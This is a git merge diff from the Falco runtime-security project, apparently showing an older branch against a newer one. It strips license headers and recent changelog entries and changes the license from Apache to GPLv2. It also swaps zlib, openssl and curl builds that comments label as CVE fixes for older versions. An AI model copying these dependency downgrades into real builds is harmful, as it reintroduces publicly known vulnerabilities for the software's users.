Merge branch 'dev'

Merging for 0.7.0

.travis.yml

@@ -1,20 +1,3 @@
-#
-# Copyright (C) 2016-2018 Draios Inc dba Sysdig.
-#
-# This file is part of falco .
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#     http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
 language: c
 env:
     - BUILD_TYPE=Debug
@@ -27,14 +10,13 @@ before_install:
     - sudo apt-get update
 install:
     - sudo apt-get --force-yes install g++-4.8
-    - sudo apt-get install rpm linux-headers-$(uname -r) libelf-dev
+    - sudo apt-get install rpm linux-headers-$(uname -r)
     - git clone https://github.com/draios/sysdig.git ../sysdig
     - sudo apt-get install -y python-pip libvirt-dev jq dkms
     - cd ..
     - curl -Lo avocado-36.0-tar.gz https://github.com/avocado-framework/avocado/archive/36.0lts.tar.gz
     - tar -zxvf avocado-36.0-tar.gz
     - cd avocado-36.0lts
-    - sed -e 's/libvirt-python>=1.2.9/libvirt-python>=1.2.9,<4.1.0/' < requirements.txt  > /tmp/requirements.txt && mv /tmp/requirements.txt ./requirements.txt
     - sudo -H pip install -r requirements.txt
     - sudo python setup.py install
     - cd ../falco
@@ -44,6 +26,13 @@ script:
     - set -e
     - export CC="gcc-4.8"
     - export CXX="g++-4.8"
+    - wget https://s3.amazonaws.com/download.draios.com/dependencies/cmake-3.3.2.tar.gz
+    - tar -xzf cmake-3.3.2.tar.gz
+    - cd cmake-3.3.2
+    - ./bootstrap --prefix=/usr
+    - make
+    - sudo make install
+    - cd ..
     - mkdir build
     - cd build
     - cmake .. -DCMAKE_BUILD_TYPE=$BUILD_TYPE -DDRAIOS_DEBUG_FLAGS="-D_DEBUG -DNDEBUG"

CHANGELOG.md

@@ -2,154 +2,6 @@
 
 This file documents all notable changes to Falco. The release numbering uses [semantic versioning](http://semver.org).
 
-## v0.12.1
-
-Released 2018-09-11
-
-## Bug Fixes
-
-* Fig regression in libcurl configure script [[#416](https://github.com/draios/falco/pull/416)]
-
-## v0.12.0
-
-Released 2018-09-11
-
-## Major Changes
-
-* Improved IPv6 Support to fully support use of IPv6 addresses in events, connections and filters [[#sysdig/1204](https://github.com/draios/sysdig/pull/1204)]
-
-* Ability to associate connections with dns names: new filterchecks `fd.*ip.name` allow looking up the DNS name for a connection's IP address. This can be used to identify or restrict connections by dns names e.g. `evt.type=connect and fd.sip.name=github.com`. [[#412](https://github.com/draios/falco/pull/412)] [[#sysdig/1213](https://github.com/draios/sysdig/pull/1213)]
-
-* New filterchecks `user.loginuid` and `user.loginname` can be used to match the login uid, which stays consistent across sudo/su. This can be used to find the actual user running a given process [[#sysdig/1189](https://github.com/draios/sysdig/pull/1189)]
-
-## Minor Changes
-
-* Upgrade zlib to 1.2.11, openssl to 1.0.2n, and libcurl to 7.60.0 to address software vulnerabilities [[#402](https://github.com/draios/falco/pull/402)]
-* New `endswith` operator can be used for suffix matching on strings [[#sysdig/1209](https://github.com/draios/sysdig/pull/1209)]
-
-## Bug Fixes
-
-* Better control of specifying location of lua source code [[#406](https://github.com/draios/falco/pull/406)]
-
-## Rule Changes
-
-* None for this release.
-
-## v0.11.1
-
-Released 2018-07-31
-
-## Bug Fixes
-
-* Fix a problem that caused the kernel module to not load on certain kernel versions [[#397](https://github.com/draios/falco/pull/397)] [[#394](https://github.com/draios/falco/issues/394)]
-
-## v0.11.0
-
-Released 2018-07-24
-
-## Major Changes
-
-* **EBPF Support** (Beta): Falco can now read events via an ebpf program loaded into the kernel instead of the `falco-probe` kernel module. Full docs [here](https://github.com/draios/sysdig/wiki/eBPF-(beta)). [[#365](https://github.com/draios/falco/pull/365)]
-
-## Minor Changes
-
-* Rules may now have an `skip-if-unknown-filter` property. If set to true, a rule will be skipped if its condition/output property refers to a filtercheck (e.g. `fd.some-new-attibute`) that is not present in the current falco version. [[#364](https://github.com/draios/falco/pull/364)] [[#345](https://github.com/draios/falco/issues/345)]
-* Small changes to Falco `COPYING` file so github automatically recognizes license [[#380](https://github.com/draios/falco/pull/380)]
-* New example integration showing how to connect Falco with Anchore to dynamically create falco rules based on negative scan results [[#390](https://github.com/draios/falco/pull/390)]
-* New example integration showing how to connect Falco, [nats](https://nats.io/), and K8s to run flexible "playbooks" based on Falco events [[#389](https://github.com/draios/falco/pull/389)]
-
-## Bug Fixes
-
-* Ensure all rules are enabled by default [[#379](https://github.com/draios/falco/pull/379)]
-* Fix libcurl compilation problems [[#374](https://github.com/draios/falco/pull/374)]
-* Add gcc-6 to docker container, which improves compatibility when building kernel module [[#382](https://github.com/draios/falco/pull/382)] [[#371](https://github.com/draios/falco/issues/371)]
-* Ensure the /lib/modules symlink to /host/lib/modules is set correctly [[#392](https://github.com/draios/falco/issues/392)]
-
-## Rule Changes
-
-* Add additional binary writing programs [[#366](https://github.com/draios/falco/pull/366)]
-* Add additional package management programs [[#388](https://github.com/draios/falco/pull/388)] [[#366](https://github.com/draios/falco/pull/366)]
-* Expand write_below_etc handling for additional programs [[#388](https://github.com/draios/falco/pull/388)] [[#366](https://github.com/draios/falco/pull/366)]
-* Expand set of programs allowed to write to `/etc/pki` [[#388](https://github.com/draios/falco/pull/388)]
-* Expand set of root written directories/files [[#388](https://github.com/draios/falco/pull/388)] [[#366](https://github.com/draios/falco/pull/366)]
-* Let pam-config read sensitive files [[#388](https://github.com/draios/falco/pull/388)]
-* Add additional trusted containers: openshift, datadog, docker ucp agent, gliderlabs logspout [[#388](https://github.com/draios/falco/pull/388)]
-* Let coreos update-ssh-keys write to /home/core/.ssh [[#388](https://github.com/draios/falco/pull/388)]
-* Expand coverage for MS OMS [[#388](https://github.com/draios/falco/issues/388)] [[#387](https://github.com/draios/falco/issues/387)]
-* Expand the set of shell spawning programs [[#366](https://github.com/draios/falco/pull/366)]
-* Add additional mysql programs/directories [[#366](https://github.com/draios/falco/pull/366)]
-* Let program `id` open network connections [[#366](https://github.com/draios/falco/pull/366)]
-* Opt-in rule for protecting tomcat shell spawns [[#366](https://github.com/draios/falco/pull/366)]
-* New rule `Write below monitored directory` [[#366](https://github.com/draios/falco/pull/366)]
-
-## v0.10.0
-
-Released 2018-04-24
-
-## Major Changes
-
-* **Rules Directory Support**: Falco will read rules files from `/etc/falco/rules.d` in addition to `/etc/falco/falco_rules.yaml` and `/etc/falco/falco_rules.local.yaml`. Also, when the argument to `-r`/falco.yaml `rules_file` is a directory, falco will read rules files from that directory. [[#348](https://github.com/draios/falco/pull/348)] [[#187](https://github.com/draios/falco/issues/187)]
-* Properly support all syscalls (e.g. those without parameter extraction by the kernel module) in falco conditions, so they can be included in `evt.type=<name>` conditions. [[#352](https://github.com/draios/falco/pull/352)]
-* When packaged as a container, start building kernel module with gcc 5.0 instead of gcc 4.9. [[#331](https://github.com/draios/falco/pull/331)]
-* New example puppet module for falco. [[#341](https://github.com/draios/falco/pull/341)] [[#115](https://github.com/draios/falco/issues/115)]
-* When signaled with `USR1`, falco will close/reopen log files. Include a [logrotate](https://github.com/logrotate/logrotate) example that shows how to use this feature for log rotation. [[#347](https://github.com/draios/falco/pull/347)] [[#266](https://github.com/draios/falco/issues/266)]
-* To improve resource usage, further restrict the set of system calls available to falco [[#351](https://github.com/draios/falco/pull/351)] [[draios/sysdig#1105](https://github.com/draios/sysdig/pull/1105)]
-
-## Minor Changes
-
-* Add gdb to the development Docker image (sysdig/falco:dev) to aid in debugging. [[#323](https://github.com/draios/falco/pull/323)]
-* You can now specify -V multiple times on the command line to validate multiple rules files at once. [[#329](https://github.com/draios/falco/pull/329)]
-* When run with `-v`, falco will print *dangling* macros/lists that are not used by any rules. [[#329](https://github.com/draios/falco/pull/329)]
-* Add an example demonstrating cryptomining attack that exploits an open docker daemon using host mounts. [[#336](https://github.com/draios/falco/pull/336)]
-* New falco.yaml option `json_include_output_property` controls whether the formatted string "output" is included in the json object when json output is enabled. [[#342](https://github.com/draios/falco/pull/342)]
-* Centralize testing event types for consideration by falco into a single function [[draios/sysdig#1105](https://github.com/draios/sysdig/pull/1105)) [[#356](https://github.com/draios/falco/pull/356)]
-* If a rule has an attribute `warn_evttypes`, falco will not complain about `evt.type` restrictions on that rule [[#355](https://github.com/draios/falco/pull/355)]
-* When run with `-i`, print all ignored events/syscalls and exit. [[#359](https://github.com/draios/falco/pull/359)]
-
-## Bug Fixes
-
-* Minor bug fixes to k8s daemonset configuration. [[#325](https://github.com/draios/falco/pull/325)] [[#296](https://github.com/draios/falco/pull/296)] [[#295](https://github.com/draios/falco/pull/295)]
-* Ensure `--validate` can be used interchangeably with `-V`. [[#334](https://github.com/draios/falco/pull/334)] [[#322](https://github.com/draios/falco/issues/322)]
-* Rule conditions like `fd.net` can now be used with the `in` operator e.g. `evt.type=connect and fd.net in ("127.0.0.1/24")`. [[draios/sysdig#1091](https://github.com/draios/sysdig/pull/1091)] [[#343](https://github.com/draios/falco/pull/343)]
-* Ensure that `keep_alive` can be used both with file and program output at the same time. [[#335](https://github.com/draios/falco/pull/335)]
-* Make it possible to append to a skipped macro/rule without falco complaining [[#346](https://github.com/draios/falco/pull/346)] [[#305](https://github.com/draios/falco/issues/305)]
-* Ensure rule order is preserved even when rules do not contain any `evt.type` restriction. [[#354](https://github.com/draios/falco/issues/354)] [[#355](https://github.com/draios/falco/pull/355)]
-
-## Rule Changes
-
-* Make it easier to extend the `Change thread namespace` rule via a `user_known_change_thread_namespace_binaries` list. [[#324](https://github.com/draios/falco/pull/324)]
-* Various FP fixes from users. [[#321](https://github.com/draios/falco/pull/321)] [[#326](https://github.com/draios/falco/pull/326)] [[#344](https://github.com/draios/falco/pull/344)] [[#350](https://github.com/draios/falco/pull/350)]
-* New rule `Disallowed SSH Connection` detects attempts ssh connection attempts to hosts outside of an expected set. In order to be effective, you need to override the macro `allowed_ssh_hosts` in a user rules file. [[#321](https://github.com/draios/falco/pull/321)]
-* New rule `Unexpected K8s NodePort Connection` detects attempts to contact the K8s NodePort range from a program running inside a container. In order to be effective, you need to override the macro `nodeport_containers` in a user rules file. [[#321](https://github.com/draios/falco/pull/321)]
-* Improve `Modify binary dirs` rule to work with new syscalls [[#353](https://github.com/draios/falco/pull/353)]
-* New rule `Unexpected UDP Traffic` checks for udp traffic not on a list of expected ports. Somewhat FP-prone, so it must be explicitly enabled by overriding the macro `do_unexpected_udp_check` in a user rules file. [[#320](https://github.com/draios/falco/pull/320)] [[#357](https://github.com/draios/falco/pull/357)]
-
-## v0.9.0
-
-Released 2018-01-18
-
-### Bug Fixes
-
-* Fix driver incompatibility problems with some linux kernel versions that can disable pagefault tracepoints [[#sysdig/1034](https://github.com/draios/sysdig/pull/1034)]
-* Fix OSX Build incompatibility with latest version of libcurl [[#291](https://github.com/draios/falco/pull/291)]
-
-### Minor Changes
-
-* Updated the Kubernetes example to provide an additional example: Daemon Set using RBAC and a ConfigMap for configuration. Also expanded the documentation for both the RBAC and non-RBAC examples. [[#309](https://github.com/draios/falco/pull/309)]
-
-### Rule Changes
-
-* Refactor the shell-related rules to reduce false positives. These changes significantly decrease the scope of the rules so they trigger only for shells spawned below specific processes instead of anywhere. [[#301](https://github.com/draios/falco/pull/301)] [[#304](https://github.com/draios/falco/pull/304)]
-* Lots of rule changes based on feedback from Sysdig Secure community [[#293](https://github.com/draios/falco/pull/293)] [[#298](https://github.com/draios/falco/pull/298)] [[#300](https://github.com/draios/falco/pull/300)] [[#307](https://github.com/draios/falco/pull/307)] [[#315](https://github.com/draios/falco/pull/315)]
-
-## v0.8.1
-
-Released 2017-10-10
-
-### Bug Fixes
-
-* Fix packaging to specify correct built-in config file [[#288](https://github.com/draios/falco/pull/288)]
-
 ## v0.8.0
 
 Released 2017-10-10

CMakeCPackOptions.cmake

@@ -1,20 +1,3 @@
-#
-# Copyright (C) 2016-2018 Draios Inc dba Sysdig.
-#
-# This file is part of falco .
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#     http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
 if(CPACK_GENERATOR MATCHES "DEB")
 	list(APPEND CPACK_INSTALL_COMMANDS "mkdir -p _CPack_Packages/${CPACK_TOPLEVEL_TAG}/${CPACK_GENERATOR}/${CPACK_PACKAGE_FILE_NAME}/etc/init.d/")
 	list(APPEND CPACK_INSTALL_COMMANDS "cp scripts/debian/falco _CPack_Packages/${CPACK_TOPLEVEL_TAG}/${CPACK_GENERATOR}/${CPACK_PACKAGE_FILE_NAME}/etc/init.d")

CMakeLists.txt

@@ -1,20 +1,3 @@
-#
-# Copyright (C) 2016-2018 Draios Inc dba Sysdig.
-#
-# This file is part of falco .
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#     http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
 cmake_minimum_required(VERSION 2.8.2)
 
 project(falco)
@@ -95,10 +78,8 @@ else()
         set(ZLIB_INCLUDE "${ZLIB_SRC}")
         set(ZLIB_LIB "${ZLIB_SRC}/libz.a")
         ExternalProject_Add(zlib
-		# START CHANGE for CVE-2016-9840, CVE-2016-9841, CVE-2016-9842, CVE-2016-9843
-		URL "http://s3.amazonaws.com/download.draios.com/dependencies/zlib-1.2.11.tar.gz"
-                URL_MD5 "1c9f62f0778697a09d36121ead88e08e"
-		# END CHANGE for CVE-2016-9840, CVE-2016-9841, CVE-2016-9842, CVE-2016-9843
+		URL "http://download.draios.com/dependencies/zlib-1.2.8.tar.gz"
+		URL_MD5 "44d667c142d7cda120332623eab69f40"
 		CONFIGURE_COMMAND "./configure"
 		BUILD_COMMAND ${CMD_MAKE}
 		BUILD_IN_SOURCE 1
@@ -123,7 +104,7 @@ else()
         set(JQ_INCLUDE "${JQ_SRC}")
         set(JQ_LIB "${JQ_SRC}/.libs/libjq.a")
         ExternalProject_Add(jq
-                URL "http://s3.amazonaws.com/download.draios.com/dependencies/jq-1.5.tar.gz"
+                URL "http://download.draios.com/dependencies/jq-1.5.tar.gz"
                 URL_MD5 "0933532b086bd8b6a41c1b162b1731f9"
                 CONFIGURE_COMMAND ./configure --disable-maintainer-mode --enable-all-static --disable-dependency-tracking
                 BUILD_COMMAND ${CMD_MAKE} LDFLAGS=-all-static
@@ -153,7 +134,7 @@ else()
 	set(CURSES_LIBRARIES "${CURSES_BUNDLE_DIR}/lib/libncurses.a")
 	message(STATUS "Using bundled ncurses in '${CURSES_BUNDLE_DIR}'")
 	ExternalProject_Add(ncurses
-		URL "http://s3.amazonaws.com/download.draios.com/dependencies/ncurses-6.0-20150725.tgz"
+		URL "http://download.draios.com/dependencies/ncurses-6.0-20150725.tgz"
 		URL_MD5 "32b8913312e738d707ae68da439ca1f4"
 		CONFIGURE_COMMAND ./configure --without-cxx --without-cxx-binding --without-ada --without-manpages --without-progs --without-tests --with-terminfo-dirs=/etc/terminfo:/lib/terminfo:/usr/share/terminfo
 		BUILD_COMMAND ${CMD_MAKE}
@@ -180,7 +161,7 @@ else()
 	set(B64_INCLUDE "${B64_SRC}/include")
 	set(B64_LIB "${B64_SRC}/src/libb64.a")
 	ExternalProject_Add(b64
-		URL "http://s3.amazonaws.com/download.draios.com/dependencies/libb64-1.2.src.zip"
+		URL "http://download.draios.com/dependencies/libb64-1.2.src.zip"
 		URL_MD5 "a609809408327117e2c643bed91b76c5"
 		CONFIGURE_COMMAND ""
 		BUILD_COMMAND ${CMD_MAKE}
@@ -234,10 +215,8 @@ else()
 	message(STATUS "Using bundled openssl in '${OPENSSL_BUNDLE_DIR}'")
 
 	ExternalProject_Add(openssl
-		# START CHANGE for CVE-2017-3735, CVE-2017-3731, CVE-2017-3737, CVE-2017-3738, CVE-2017-3736
-		URL "http://s3.amazonaws.com/download.draios.com/dependencies/openssl-1.0.2n.tar.gz"
-                URL_MD5 "13bdc1b1d1ff39b6fd42a255e74676a4"
-		# END CHANGE for CVE-2017-3735, CVE-2017-3731, CVE-2017-3737, CVE-2017-3738, CVE-2017-3736
+		URL "http://download.draios.com/dependencies/openssl-1.0.2j.tar.gz"
+		URL_MD5 "96322138f0b69e61b7212bc53d5e912b"
 		CONFIGURE_COMMAND ./config shared --prefix=${OPENSSL_INSTALL_DIR}
 		BUILD_COMMAND ${CMD_MAKE}
 		BUILD_IN_SOURCE 1
@@ -267,11 +246,9 @@ else()
 
 	ExternalProject_Add(curl
 		DEPENDS openssl
-		# START CHANGE for CVE-2017-8816, CVE-2017-8817, CVE-2017-8818, CVE-2018-1000007
-		URL "http://s3.amazonaws.com/download.draios.com/dependencies/curl-7.61.0.tar.bz2"
-		URL_MD5 "31d0a9f48dc796a7db351898a1e5058a"
-		# END CHANGE for CVE-2017-8816, CVE-2017-8817, CVE-2017-8818, CVE-2018-1000007
-		CONFIGURE_COMMAND ./configure ${CURL_SSL_OPTION} --disable-shared --enable-optimize --disable-curldebug --disable-rt --enable-http --disable-ftp --disable-file --disable-ldap --disable-ldaps --disable-rtsp --disable-telnet --disable-tftp --disable-pop3 --disable-imap --disable-smb --disable-smtp --disable-gopher --disable-sspi --disable-ntlm-wb --disable-tls-srp --without-winssl --without-darwinssl --without-polarssl --without-cyassl --without-nss --without-axtls --without-ca-path --without-ca-bundle --without-libmetalink --without-librtmp --without-winidn --without-libidn --without-nghttp2 --without-libssh2 --disable-threaded-resolver
+		URL "http://download.draios.com/dependencies/curl-7.52.1.tar.bz2"
+		URL_MD5 "dd014df06ff1d12e173de86873f9f77a"
+		CONFIGURE_COMMAND ./configure ${CURL_SSL_OPTION} --disable-shared --enable-optimize --disable-curldebug --disable-rt --enable-http --disable-ftp --disable-file --disable-ldap --disable-ldaps --disable-rtsp --disable-telnet --disable-tftp --disable-pop3 --disable-imap --disable-smb --disable-smtp --disable-gopher --disable-sspi --disable-ntlm-wb --disable-tls-srp --without-winssl --without-darwinssl --without-polarssl --without-cyassl --without-nss --without-axtls --without-ca-path --without-ca-bundle --without-libmetalink --without-librtmp --without-winidn --without-libidn --without-nghttp2 --without-libssh2
 		BUILD_COMMAND ${CMD_MAKE}
 		BUILD_IN_SOURCE 1
 		INSTALL_COMMAND "")
@@ -303,7 +280,7 @@ else()
 	set(LUAJIT_INCLUDE "${LUAJIT_SRC}")
 	set(LUAJIT_LIB "${LUAJIT_SRC}/libluajit.a")
 	ExternalProject_Add(luajit
-		URL "http://s3.amazonaws.com/download.draios.com/dependencies/LuaJIT-2.0.3.tar.gz"
+		URL "http://download.draios.com/dependencies/LuaJIT-2.0.3.tar.gz"
 		URL_MD5 "f14e9104be513913810cd59c8c658dc0"
 		CONFIGURE_COMMAND ""
 		BUILD_COMMAND ${CMD_MAKE}
@@ -368,7 +345,7 @@ else()
 	set(LIBYAML_LIB "${LIBYAML_SRC}/.libs/libyaml.a")
 	message(STATUS "Using bundled libyaml in '${LIBYAML_SRC}'")
 	ExternalProject_Add(libyaml
-		URL "http://s3.amazonaws.com/download.draios.com/dependencies/libyaml-0.1.4.tar.gz"
+		URL "http://download.draios.com/dependencies/libyaml-0.1.4.tar.gz"
 		URL_MD5 "4a4bced818da0b9ae7fc8ebc690792a7"
 		BUILD_COMMAND ${CMD_MAKE}
 		BUILD_IN_SOURCE 1
@@ -404,7 +381,7 @@ else()
 	endif()
 	ExternalProject_Add(lyaml
 		DEPENDS ${LYAML_DEPENDENCIES}
-		URL "http://s3.amazonaws.com/download.draios.com/dependencies/lyaml-release-v6.0.tar.gz"
+		URL "http://download.draios.com/dependencies/lyaml-release-v6.0.tar.gz"
                 URL_MD5 "dc3494689a0dce7cf44e7a99c72b1f30"
                 BUILD_COMMAND ${CMD_MAKE}
                 BUILD_IN_SOURCE 1
@@ -412,37 +389,9 @@ else()
                 INSTALL_COMMAND sh -c "cp -R ${PROJECT_BINARY_DIR}/lyaml-prefix/src/lyaml/lib/* ${PROJECT_SOURCE_DIR}/userspace/engine/lua")
 endif()
 
-option(USE_BUNDLED_TBB "Enable building of the bundled tbb" ${USE_BUNDLED_DEPS})
-if(NOT USE_BUNDLED_TBB)
-	find_path(TBB_INCLUDE tbb.h PATH_SUFFIXES tbb)
-	find_library(TBB_LIB NAMES tbb)
-	if(TBB_INCLUDE AND TBB_LIB)
-		message(STATUS "Found tbb: include: ${TBB_INCLUDE}, lib: ${TBB_LIB}")
-	else()
-		message(FATAL_ERROR "Couldn't find system tbb")
-	endif()
-else()
-	set(TBB_SRC "${PROJECT_BINARY_DIR}/tbb-prefix/src/tbb")
-
-	message(STATUS "Using bundled tbb in '${TBB_SRC}'")
-
-	set(TBB_INCLUDE "${TBB_SRC}/include/")
-	set(TBB_LIB "${TBB_SRC}/build/lib_release/libtbb.a")
-	ExternalProject_Add(tbb
-		URL "http://s3.amazonaws.com/download.draios.com/dependencies/tbb-2018_U5.tar.gz"
-		URL_MD5 "ff3ae09f8c23892fbc3008c39f78288f"
-		CONFIGURE_COMMAND ""
-		BUILD_COMMAND ${CMD_MAKE} tbb_build_dir=${TBB_SRC}/build tbb_build_prefix=lib extra_inc=big_iron.inc
-		BUILD_IN_SOURCE 1
-		BUILD_BYPRODUCTS ${TBB_LIB}
-		INSTALL_COMMAND "")
-endif()
-
 install(FILES falco.yaml
 	DESTINATION "${FALCO_ETC_DIR}")
 
-add_subdirectory(rules)
-
 if(CMAKE_SYSTEM_NAME MATCHES "Linux")
 	add_subdirectory("${SYSDIG_DIR}/driver" "${PROJECT_BINARY_DIR}/driver")
 endif()
@@ -476,7 +425,7 @@ set(CPACK_DEBIAN_PACKAGE_HOMEPAGE "http://www.sysdig.org")
 set(CPACK_DEBIAN_PACKAGE_DEPENDS "dkms (>= 2.1.0.0)")
 set(CPACK_DEBIAN_PACKAGE_CONTROL_EXTRA "${CMAKE_BINARY_DIR}/scripts/debian/postinst;${CMAKE_BINARY_DIR}/scripts/debian/prerm;${PROJECT_SOURCE_DIR}/scripts/debian/postrm;${PROJECT_SOURCE_DIR}/cpack/debian/conffiles")
 
-set(CPACK_RPM_PACKAGE_LICENSE "Apache v2.0")
+set(CPACK_RPM_PACKAGE_LICENSE "GPLv2")
 set(CPACK_RPM_PACKAGE_URL "http://www.sysdig.org")
 set(CPACK_RPM_PACKAGE_REQUIRES "dkms, gcc, make, kernel-devel, perl")
 set(CPACK_RPM_POST_INSTALL_SCRIPT_FILE "${PROJECT_SOURCE_DIR}/scripts/rpm/postinstall")

COPYING

@@ -1,202 +1,351 @@
+                    GNU GENERAL PUBLIC LICENSE
+                       Version 2, June 1991
 
-                                 Apache License
-                           Version 2.0, January 2004
-                        http://www.apache.org/licenses/
+ Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
+ 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
 
-   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+                            Preamble
 
-   1. Definitions.
+  The licenses for most software are designed to take away your
+freedom to share and change it.  By contrast, the GNU General Public
+License is intended to guarantee your freedom to share and change free
+software--to make sure the software is free for all its users.  This
+General Public License applies to most of the Free Software
+Foundation's software and to any other program whose authors commit to
+using it.  (Some other Free Software Foundation software is covered by
+the GNU Lesser General Public License instead.)  You can apply it to
+your programs, too.
 
-      "License" shall mean the terms and conditions for use, reproduction,
-      and distribution as defined by Sections 1 through 9 of this document.
+  When we speak of free software, we are referring to freedom, not
+price.  Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+this service if you wish), that you receive source code or can get it
+if you want it, that you can change the software or use pieces of it
+in new free programs; and that you know you can do these things.
 
-      "Licensor" shall mean the copyright owner or entity authorized by
-      the copyright owner that is granting the License.
+  To protect your rights, we need to make restrictions that forbid
+anyone to deny you these rights or to ask you to surrender the rights.
+These restrictions translate to certain responsibilities for you if you
+distribute copies of the software, or if you modify it.
 
-      "Legal Entity" shall mean the union of the acting entity and all
-      other entities that control, are controlled by, or are under common
-      control with that entity. For the purposes of this definition,
-      "control" means (i) the power, direct or indirect, to cause the
-      direction or management of such entity, whether by contract or
-      otherwise, or (ii) ownership of fifty percent (50%) or more of the
-      outstanding shares, or (iii) beneficial ownership of such entity.
+  For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must give the recipients all the rights that
+you have.  You must make sure that they, too, receive or can get the
+source code.  And you must show them these terms so they know their
+rights.
 
-      "You" (or "Your") shall mean an individual or Legal Entity
-      exercising permissions granted by this License.
+  We protect your rights with two steps: (1) copyright the software, and
+(2) offer you this license which gives you legal permission to copy,
+distribute and/or modify the software.
 
-      "Source" form shall mean the preferred form for making modifications,
-      including but not limited to software source code, documentation
-      source, and configuration files.
+  Also, for each author's protection and ours, we want to make certain
+that everyone understands that there is no warranty for this free
+software.  If the software is modified by someone else and passed on, we
+want its recipients to know that what they have is not the original, so
+that any problems introduced by others will not reflect on the original
+authors' reputations.
 
-      "Object" form shall mean any form resulting from mechanical
-      transformation or translation of a Source form, including but
-      not limited to compiled object code, generated documentation,
-      and conversions to other media types.
+  Finally, any free program is threatened constantly by software
+patents.  We wish to avoid the danger that redistributors of a free
+program will individually obtain patent licenses, in effect making the
+program proprietary.  To prevent this, we have made it clear that any
+patent must be licensed for everyone's free use or not licensed at all.
 
-      "Work" shall mean the work of authorship, whether in Source or
-      Object form, made available under the License, as indicated by a
-      copyright notice that is included in or attached to the work
-      (an example is provided in the Appendix below).
+  The precise terms and conditions for copying, distribution and
+modification follow.
 
-      "Derivative Works" shall mean any work, whether in Source or Object
-      form, that is based on (or derived from) the Work and for which the
-      editorial revisions, annotations, elaborations, or other modifications
-      represent, as a whole, an original work of authorship. For the purposes
-      of this License, Derivative Works shall not include works that remain
-      separable from, or merely link (or bind by name) to the interfaces of,
-      the Work and Derivative Works thereof.
+                    GNU GENERAL PUBLIC LICENSE
+   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
 
-      "Contribution" shall mean any work of authorship, including
-      the original version of the Work and any modifications or additions
-      to that Work or Derivative Works thereof, that is intentionally
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-      communication on electronic mailing lists, source code control systems,
-      and issue tracking systems that are managed by, or on behalf of, the
-      Licensor for the purpose of discussing and improving the Work, but
-      excluding communication that is conspicuously marked or otherwise
-      designated in writing by the copyright owner as "Not a Contribution."
+  0. This License applies to any program or other work which contains
+a notice placed by the copyright holder saying it may be distributed
+under the terms of this General Public License.  The "Program", below,
+refers to any such program or work, and a "work based on the Program"
+means either the Program or any derivative work under copyright law:
+that is to say, a work containing the Program or a portion of it,
+either verbatim or with modifications and/or translated into another
+language.  (Hereinafter, translation is included without limitation in
+the term "modification".)  Each licensee is addressed as "you".
 
-      "Contributor" shall mean Licensor and any individual or Legal Entity
-      on behalf of whom a Contribution has been received by Licensor and
-      subsequently incorporated within the Work.
+Activities other than copying, distribution and modification are not
+covered by this License; they are outside its scope.  The act of
+running the Program is not restricted, and the output from the Program
+is covered only if its contents constitute a work based on the
+Program (independent of having been made by running the Program).
+Whether that is true depends on what the Program does.
 
-   2. Grant of Copyright License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      copyright license to reproduce, prepare Derivative Works of,
-      publicly display, publicly perform, sublicense, and distribute the
-      Work and such Derivative Works in Source or Object form.
+  1. You may copy and distribute verbatim copies of the Program's
+source code as you receive it, in any medium, provided that you
+conspicuously and appropriately publish on each copy an appropriate
+copyright notice and disclaimer of warranty; keep intact all the
+notices that refer to this License and to the absence of any warranty;
+and give any other recipients of the Program a copy of this License
+along with the Program.
 
-   3. Grant of Patent License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      (except as stated in this section) patent license to make, have made,
-      use, offer to sell, sell, import, and otherwise transfer the Work,
-      where such license applies only to those patent claims licensable
-      by such Contributor that are necessarily infringed by their
-      Contribution(s) alone or by combination of their Contribution(s)
-      with the Work to which such Contribution(s) was submitted. If You
-      institute patent litigation against any entity (including a
-      cross-claim or counterclaim in a lawsuit) alleging that the Work
-      or a Contribution incorporated within the Work constitutes direct
-      or contributory patent infringement, then any patent licenses
-      granted to You under this License for that Work shall terminate
-      as of the date such litigation is filed.
+You may charge a fee for the physical act of transferring a copy, and
+you may at your option offer warranty protection in exchange for a fee.
 
-   4. Redistribution. You may reproduce and distribute copies of the
-      Work or Derivative Works thereof in any medium, with or without
-      modifications, and in Source or Object form, provided that You
-      meet the following conditions:
+  2. You may modify your copy or copies of the Program or any portion
+of it, thus forming a work based on the Program, and copy and
+distribute such modifications or work under the terms of Section 1
+above, provided that you also meet all of these conditions:
 
-      (a) You must give any other recipients of the Work or
-          Derivative Works a copy of this License; and
+    a) You must cause the modified files to carry prominent notices
+    stating that you changed the files and the date of any change.
 
-      (b) You must cause any modified files to carry prominent notices
-          stating that You changed the files; and
+    b) You must cause any work that you distribute or publish, that in
+    whole or in part contains or is derived from the Program or any
+    part thereof, to be licensed as a whole at no charge to all third
+    parties under the terms of this License.
 
